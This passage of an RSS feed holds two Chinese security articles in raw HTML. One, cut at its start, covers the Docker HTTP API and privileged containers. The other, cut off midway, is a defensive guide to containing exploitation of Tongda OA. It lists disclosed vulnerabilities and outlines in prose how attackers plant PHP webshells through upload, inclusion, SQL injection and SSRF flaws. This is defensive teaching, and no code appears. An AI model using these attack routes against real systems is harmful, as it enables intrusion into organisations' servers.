bold;display: flex;flex-direction: column;justify-content: center;">使用 Curl 和 Docker HTTP API</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当启动 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TCP socket</p>时，它还将启用 HTTP API 以在同一端口上与 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 交互。信息交换以 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">JSON</p> 格式完成，所有<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p>都记录在此处 –<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);"> <a href="https://docs.docker.com/engine/api/v1.41/" target="_blank">https://docs.docker.com/engine/api/v1.41/</a></p></div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">由于已经拉取了镜像，将使用相同的镜像。所以首先让列出镜像和容器。列出容器和镜像的端点——List Containers 和 List Images</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="84" data-backw="558" data-ratio="0.15092592592592594" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=97b9830e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vln9m8DpLh5DTeeRPYUx6E64gjCkjGjT6JuarPYB9iaUY3A18oyfo9dOA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">重用容器名称 flaskapp，但该名称已被使用并且容器正在运行。要重用容器的旧名称，需要停止并删除容器</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="63" data-backw="558" data-ratio="0.11296296296296296" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1acd0289&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlFPG4pEy1PQicNY3AHsnlCu9y9QLUGXQT835VDT5xNV6yNKGiaC8xkSKw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在您需要创建容器，然后通过创建容器端点的响应中的 ID 启动它。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="247" data-backw="558" data-ratio="0.4425925925925926" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=43766510&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlBTGuQD7iataiaJ6naqsArx94IDANEIvfpAlaqgSnvxLsE7ZQSqeCQW5Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在您可以使用 curl 从 localhost 上的 pot 1337 命中容器请求。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="179" data-backw="396" data-ratio="0.45202020202020204" data-type="png" data-w="396" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a03b536c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlcXk2ryScsJAuWyhIwkLbXRQib5sJTzxJK7K2PKDhSjqaXt7GsYiawclA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">特权容器与普通容器</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当深入研究 CLI 选项或容器架构时，会出现特权容器的概念。在本节中，将详细了解特权容器以及如何</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在正常情况下，看到隔离是在操作系统级别完成的，这是由运行时引擎管理的。它充当操作系统和容器之间的桥梁，将系统调用传递给内核并有效地使用主机资源。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="432" data-backw="499" data-ratio="0.8657314629258517" data-type="png" data-w="499" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4dcbd2b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vlr9p5vriaqbibNbnmDMACB9g9WsTUgWclalEFEu5HbG9ibAlZTibFnNs97w%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">当以特权模式运行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 容器时，它将通过运行时引擎层直接访问主机操作系统。由于它可以与宿主操作系统进行交互，因此容器将继承 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p> 用户的所有能力和宿主的文件系统。这个时候，逃逸简直就是小菜一碟。要运行具有额外权限的容器，需要在创建容器时传递 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">--privileged</p> 标志。能力对比如下图</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="277" data-backw="558" data-ratio="0.4962962962962963" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4622be1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlyNDdjf2lLaZibYzAmrSXDBFElMJibfSx0jaGzInIT4GPgHE2qMFSUlqw%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">暗号：150798</h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c4038361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vl5WN8KIx0eUKlDkypMZ9LWPYnkMbkrRnxTleDTIfr5lYBSM0ibcB17mA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ee62d8a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VltuEWNeMPNpy7iadp32E5cvGu4KCs0feBCZYoO4uJwSlLhGhZ0DIJDSA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7d6442fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlCRygq1L75QELlj4amH1icTw5EgbvBE0ibNvzgB4mocPqmZrtDwqIEelg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5e7ef8d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlHalaFZfZ5IcjvglF43TzNXYw0qBS99HEPzfwSSgrnCPFw5NDLOicXYw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5c368385&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlAHwRymIIJB0iay2pbXYt9th0pVJPiaU8Mx3LIM5ZibcKc1nARvO5aBxJQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bb8f0754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vl8Pn3VI6jTzba3rPKPiaAOFbOrDOwKzqhC4WicoDdj45lyMEhNod1J2vw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=62cf066e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlDqI5BknSoOPqibG92DWgkJicW0Mk4NfojRa5Libq8e2J878JFLcIiafxHg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=97b9830e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vln9m8DpLh5DTeeRPYUx6E64gjCkjGjT6JuarPYB9iaUY3A18oyfo9dOA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1acd0289&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlFPG4pEy1PQicNY3AHsnlCu9y9QLUGXQT835VDT5xNV6yNKGiaC8xkSKw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=43766510&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlBTGuQD7iataiaJ6naqsArx94IDANEIvfpAlaqgSnvxLsE7ZQSqeCQW5Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a03b536c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlcXk2ryScsJAuWyhIwkLbXRQib5sJTzxJK7K2PKDhSjqaXt7GsYiawclA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4dcbd2b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4Vlr9p5vriaqbibNbnmDMACB9g9WsTUgWclalEFEu5HbG9ibAlZTibFnNs97w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4622be1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyH3qPXjWv5AtflFXjibq4VlyNDdjf2lLaZibYzAmrSXDBFElMJibfSx0jaGzInIT4GPgHE2qMFSUlqw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247489534">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b469c1c0&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489534%26idx%3D1%26sn%3Dd4624026f3fe84c3d0d5057b53a13d64">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 Jun 2023 08:04:00 +0800</pubDate>
    </item>
    <item>
      <title>如何有效遏制针对通达OA漏洞利用活动</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489533&amp;idx=1&amp;sn=907a9c32adbf3699efa7bfd7d1fb25ae</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-06-05 10:17</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9609982b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyFMLVrcCLyBWe6IGicALf0DCzwf208f7KibVpXkanb2pMcg0SP5ialXay7IOjicbAfGPicYcWoJ0IlDhw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>前言</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">假设你是网络安全建设或防御负责人，相信针对通达 OA 的渗透测试一定是使你提心吊胆、夜不能寐且辗转反侧的原因之一。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在此篇文章中，我们将给出可以遏制针对通达 OA 进行漏洞利用的策略，及时发现并降低它可能给终端安全带来的风险。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>关于通达 OA</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通达 OA（Office Anywhere），是一款适用于企事业单位的通用型网络办公软件，是北京通达信科科技有限公司旗下产品之一。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">北京通达信科科技有限公司隶属于中国兵器工业信息中心，简称通达信科。是一支以协同管理软件研发与实施、服务与咨询为主营业务的高科技团队，是国内协同管理软件行业里一家央企单位，中国协同管理软件的领军企业。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>漏洞公开情况</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了更好了解产品的自身安全问题，通过对百度搜索信息的公开检索，我们调查了自 2020 年 1 月到 2023 年 6 月，有关通达 OA 的全部漏洞公开情况：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2020 年 3 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权文件上传漏洞</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权文件包含漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2020 年 4 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权任意用户伪造漏洞（CNVD-2020-25050）</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2020 年 8 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权 SQL 注入漏洞</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权任意文件删除漏洞（CNVD-2021-14827）</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2020 年 9 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">后台任意文件上传漏洞（CNVD-2020-57815）</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">后台 SQL 注入漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2021 年 3 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">任意在线用户登录凭据窃取漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2021 年 7 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">后台 SSRF 漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2022 年 2 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">后台 SQL 注入漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2022 年 4 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权任意文件上传漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2022 年 7 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">未授权任意文件上传漏洞</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">后台任意文件上传漏洞</p></li></ol><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">2022 年 11 月</p></li></ul><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">任意文件上传漏洞</p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><strong style="color: rgb(119, 48, 152);">上述 14 个漏洞均允许攻击者完全的控制受影响目标系统，全部为高危漏洞，影响范围极大。</strong></p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>利用方式分析</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通达 OA 安装时，会以 <strong style="color: rgb(119, 48, 152);">SYSTEM</strong> 权限向宿主系统部署并启动以下主要组件：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: rgb(119, 48, 152);">MySQL</strong>：提供数据存储功能</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: rgb(119, 48, 152);">Redis</strong>：提供缓存功能</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: rgb(119, 48, 152);">Nginx</strong>：提供网站功能</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: rgb(119, 48, 152);">PHP-CGI</strong>：提供 PHP 代码执行功能</p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">主要组件运行关系如下：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.8303030303030303" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="990" src="https://wechat2rss.xlab.app/img-proxy/?k=d6e2b3fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbyFMLVrcCLyBWe6IGicALf0Dx3uicgTsSDXLUVteiaiaP95xcFVPCESZ9DBCwCF6nojJb7fypJzicN1jkg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">结合历史漏洞类型和组件运行关系，我们总结的攻击者通用操作如下：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果可以进行未授权的文件上传，且上传后的文件扩展名可控，则直接部署 PHP WebShell。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果可以进行未授权的文件上传，但后缀名被限制且无法绕过，则上传带有后门 PHP 代码的图片或其他文件。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果可以进行未授权的文件包含（include），则包含带有后门 PHP 代码的图片或其他文件（如日志文件），继而部署 PHP WebShell。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果可以进行未授权的 SQL 注入漏洞利用，则利用 MySQL 在网站目录中部署 PHP WebShell 或执行系统命令。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果可以得到认证后相关 API 的调用权限（登陆后），则利用登陆后相关漏洞。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果存在后台 SQL 漏洞，利用方式参考 4。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果存在后台文件上传类漏洞，利用方式参考 1、2、3。</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">如果后台存在 SSRF 漏洞，则利用 redis 在网站目录中部署 PHP WebShell。</p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">由于通达 OA 的主要组件默认以 SYSTEM 权限运行，所以，攻击者在获得 PHP 任意代码执行的方式（如 WebShell）后，目标系统就已经完全沦陷，攻击者可能以 SYSTEM 权限进行任何后续操作，包括但不限于系统命令执行、可疑二进制文件上传/运行、窃取系统敏感凭据、部署勒索病毒、搭建机密网络隧道和任何针对内部网络的恶意活动。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">不要过于担心，虽然这些漏洞利用和后续操作看起来很可怕，但它们产生的系统行为特征非常明显，我们可以把所有相关行为抽象成以下几种：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">写入 PHP 脚本文件</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">写入可执行文件</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">执行了常用黑客命令</p></li><li><p style="line-height: 26px;color: rgb(1, 1, 1);">产生了不寻常的网络连接</p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 